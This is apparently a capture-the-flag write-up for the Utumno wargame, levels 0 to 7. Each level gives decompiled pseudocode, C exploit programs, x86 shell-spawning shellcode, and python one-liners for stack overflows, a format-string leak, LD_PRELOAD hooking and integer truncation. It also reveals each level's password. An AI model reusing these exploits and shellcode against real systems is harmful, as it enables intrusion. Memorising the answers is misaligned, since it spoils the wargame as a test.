Description:
This is a regular wargame composed of 10 different levels. It’s slightly harder than the previous wargames in the same genre. Actually, it’s a lot harder than Leviathan and a bit harder than Behemoth so if you haven’t beaten those two you will probably want to do that first.

All the password are stored in /etc/utumno_pass/utumno[level].

Level 0

For utumno0, we have no permission to read the file, it puts Read me! :P when we execute it.

We need to use Function Hooking. First of all, we create our own puts() function.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
int puts(const char *message){
    int (*new_puts)(const char *message);
    int result;
    new_puts = dlsym(RTLD_NEXT, "puts");
    result = printf("Hooked %s\n", message);
    return result;
}

When puts() is accessed, we will add “Hooked” in front of the message.

And we use gcc -m32 -fPIC -c hookputs.c and ld -shared -m elf_i386 -o hookputs.so hookputs.o -ldl to create our hookputs.so. Later, when we execute LD_PRELOAD="./hookputs.so" /utumno/utumno0, we get the following result.

Local Picture

We successfully create our own puts() function. Next, we can try to use format string vulnerability to see the information on the stack.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
int puts(const char *message){
    int (*new_puts)(const char *message);
    int result;
    new_puts = dlsym(RTLD_NEXT, "puts");
    printf("%08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x\n");
    result = printf("Hooked %s\n", message);
    return result;
}

The result is as follows.

Local Picture

We can see that there may be something between address 0x08048402 and 0x080484a5, so we try to see what those address contain.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
int puts(const char *message){
    int (*new_puts)(const char *message);
    int result;
    char* ptr;
    new_puts = dlsym(RTLD_NEXT, "puts");
    //printf("%08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x\n");
    result = printf("Hooked %s\n", message);
    for(int i = 0x08048402; i < 0x080484a5; ++i){
        ptr = i;
        printf("%c", *ptr);
    }
    return result;
}

And we can see Password: aathaeyiew, which is our flag.


Level 0 -> Level 1

When we decompile the program, we can see that it opens the directory we provide in argv[1], and see if there is a filename starts with sh_. Once matched, it would run the its filename except the part sh_.

Local Picture

What we can do is to make a file called sh_[shellcode], and [shellcode] contains our shellcode. However, we cannot use /bin/sh because / is not allowed when we named a file.

By modifying the shellcode, we can solve this problem. We execute ln -s /bin/sh mysh to create symbolic link of /bin/sh named mysh, and we make our shellcode to execute mysh. We can create file with touch $(python -c 'print("sh_"+"\x31\xc0\x50\x68\x6d\x79\x73\x68\x89\xe3\x89 \xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80")') and we can get the shell by executing /utumno/utumno1 /tmp/l3o.

The flag is ceewaceiph.


Level 1 -> Level 2

If we decompile the program, we can get pseudocode as follows.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
int main(int argc,char **argv)

{
  char buffer [12];
  
  if (argc != 0) {
    puts("Aw..");
    exit(1);
  }
  strcpy(buffer,argv[10]);
  return 0;
}

What we are going to do is execute the program with argc = 0 and we can put our shellcode in argv[10], using strcpy() and buffer to overflow the return address. That is, eip will be controlled by us, and execute our shellcode.

We can do it with execve. By testing, we need 16 bytes paddings to make buffer overflow successful. The following code gives us argc = 0 and paddings with address to our shellcode.

The position of those As needs to be tested again and again from the beginning of envp[] in gdb to overflow in argv[].

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#include<unistd.h>

int main(){
    char* argv[]={NULL};
    char* envp[]={
    "",
    "",
    "",
    "",
    "",
    "",
    "",
    "",
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80",
    "AAAAAAAAAAAAAAAA\x9a\xdf\xff\xff",
    NULL
    };
    execve("/utumno/utumno2", argv, envp);
}

After gcc -m32 pwn.c -o pwn and execute pwn, we can get the flag zuudafiine.


Level 2 -> Level 3

If we decompile the program, we can get pseudocode as follows.

Local Picture

The first getchar() controls the position of array a, and the second getchar() will get the value and store in array a. What we can do is to put our shellcode in the environment variable, and turn the return address to that variable.

Let’s say we want to return to 0x42424242. The return address is at a[40] ~ a[43], when i = 0, we can simply use 0x28 in first getchar(), but when i = 1, the input will do xor with i * 0x03. We should input 0x2a to get 0x29 because 0x2a ^ 0x03 = 0x29.

Finally, after the address is set, we need to make i larger than 23, i is at a[28], and it would be i = 4 when the address is set. We need 0x10 ^ 4 * 0x03 to get 0x1c. If we give i = 41, the final command will be python -c 'print("\x28\x42\x2a\x42\x2c\x42\x22\x42\x10\x41")' | ./utumno3, and it really returns to 0x42424242 in gdb.

We use export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80")') to set our environment variable, and find it in 0xffffdf03.

The command will be (python -c 'print("\x28\x03\x2a\xdf\x2c\xff\x22\xff\x10\x41")';cat ) | /utumno/utumno3, and we can get the shell and the flag oogieleoga.


Level 3 -> Level 4

If we decompile the program, we can get its pseudocode.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
int main(int argc,char **argv)

{
  int val;
  char b [64];
  char c [65212];
  ushort j;
  int i;
  
  val = atoi(argv[1]);
  if (63 < (ushort)val) {
    exit(1);
  }
  memcpy(b,argv[2],val);
  return 0;
}

At first, it seems there is no way to create buffer overflow. However, if we look carefully, we can see that it uses (ushort)val to compared with 63.

In ushort, its range starts from 0 to 65535. If we assign val to 65536, (ushort)val will be 0.

Using this concept, we assign argv[1] to 65536, and get that we need 65286 bytes paddings to modify return address.

We put our shellcode in those paddings and make the return address to our shellcode address 0xfffe580a with ./utumno4 65536 $(python -c 'print("A"*32579+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68 \x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31 \xc0\x40\xcd\x80"+"A"*32579+"\x0a\x58\xfe\xff")'). Finally, we can get the shell and the flag woucaejiek.


Level 4 -> Level 5

If we decompile the program, we can get its pseudocode.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int main(int argc,char **argv)

{
  if (argc != 0) {
    puts("Aw..");
    exit(1);
  }
  printf("Here we go - %s\n",argv[10]);
  hihi(argv[10]);
  return 0;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
void hihi(char *p)

{
  size_t len;
  char buf [12];
  
  len = strlen(p);
  if (len < 20) {
    strcpy(buf,p);
  }
  else {
    strncpy(buf,p,20);
  }
  return;
}

It looks very similar to Level 1 -> Level 2. So first, we can use the same technique to find how envp[] can overflow to argv[10], and we find that it can easily work.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#include<unistd.h>

int main(){
    char* argv[]={NULL};
    char* envp[]={
    "",
    "",
    "",
    "",
    "",
    "",
    "",
    "",
    "",
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
    NULL
    };
    execve("/utumno/utumno5", argv, envp);
}

Next, in function hihi(), there is strcpy() and strncpy() witch accept length larger that the size of array. Luckily, we only need 16 bytes paddings to modify the return address.

So, again, we put our shellcode in envp[] and substitute the return address with the address of our shellcode 0xffffdf9a, and we can get the shell and the flag eiluquieth.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#include<unistd.h>

int main(){
    char* argv[]={NULL};
    char* envp[]={
    "",
    "",
    "",
    "",
    "",
    "",
    "",
    "",
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80",
    "AAAAAAAAAAAAAAAA\x9a\xdf\xff\xff",
    NULL
    };
    execve("/utumno/utumno5", argv, envp);
}

Level 5 -> Level 6

If we decompile the program, we can get its pseudocode.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int main(int argc,char **argv)

{
  ulong uVar1;
  a b;
  int pos;
  int val;
  
  if (argc < 3) {
    puts("Missing args");
    exit(1);
  }
  b.p = (char *)malloc(32);
  if (b.p == (char *)0x0) {
    puts("Sorry, ran out of memory :-(");
    exit(1);
  }
  uVar1 = strtoul(argv[2],(char **)0x0,16);
  pos = strtoul(argv[1],(char **)0x0,10);
  if (10 < pos) {
    puts("Illegal position in table, quitting..");
    exit(1);
  }
  b.table[pos] = uVar1;
  strcpy(b.p,argv[3]);
  printf("Table position %d has value %d\nDescription: %s\n",pos,b.table[pos],b.p);
  return 0;
}

a is a struct contains char* p and int table[10].

At first, I want to use b.table[pos] = uVar1; to modify eip with buffer overflow. But later I realize that it is impossible because pos cannot be larger than 10, and we need a lot more bytes to make buffer overflow succeed.

I found that the address of b.table is at ebp - 0x30, and b.p is at ebp - 0x34. That is, if we make pos = -1, we can modify the content of b.p, which points to the space for copying argv[3]. If we turn the address into the return address, and argv[3] contains the address of shellcode, then we can copy the address of shellcode into the return address. We can get the shell and the flag !!!

As usual, we execute export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd x80")') to put our shellcode in the environment variable. In gdb, we found that the address of the return address is 0xffffd64c, and the environment variable SC is at 0xffffdf03.

So, the command will be ./utumno6 -1 ffffd64c $(python -c ‘print("\x03\xdf\xff\xff")'), and we can get the shell and the flag totiquegae.


Level 6 -> Level 7

If we decompile the program, we get pseudocode as follows.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
int main(int argc,char **argv)

{
  if (argc < 2) {
    exit(1);
  }
  puts("lol ulrich && fuck hector");
  vuln(argv[1]);
  return 0;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
int vuln(char *arg)

{
  int iVar1;
  char buf [128];
  jmp_buf foo;
  int i;
  
  jbp = (jmp_buf *)foo;
  iVar1 = _setjmp((__jmp_buf_tag *)foo);
  if (iVar1 == 0) {
    strcpy(buf,arg);
    jmp(23);
  }
  return 0;
}

There is the strcpy() function, so I tried to do buffer overflow. However, there is a segmentation fault when we have 140 bytes paddings. After analysis, we found that from 141 to 144 bytes, which is the bytes after our paddings, contain the address for ebp due to the function setjump(), and the return address will be that address plus 4. For example, after strcpy() finished, if the stack is like AAAA .... AAAA ffffd51c, then ebp will return to ffffd51c and the return address will be stored in ffffd520.

What we can do is to put our shellcode in paddings and make ebp back to the address of our paddings. We make eip return to our shellcode, and we can get the shell and the flag.

We execute ./utumno7 $(python -c 'print("A"*4+"\x44\xd5\xff\xff"+"\x90"*100+"\x31\xc0\x50\x68 \x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2 \xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+"C"*4+"\x3c\xd5\xff\xff")') to get the shell. The start of buf is 0xffffd53c, so after ebp comes to that place, the return address will become 0xffffd544, which is stored in 0xffffd540. And 0xffffd544 is the address of our shellcode.

And we can get the flag jaeyeetiav.


Level 7 -> Level 8

Hell Yeah! You did it!

One level of this game is still work in progress, so be sure to check back later.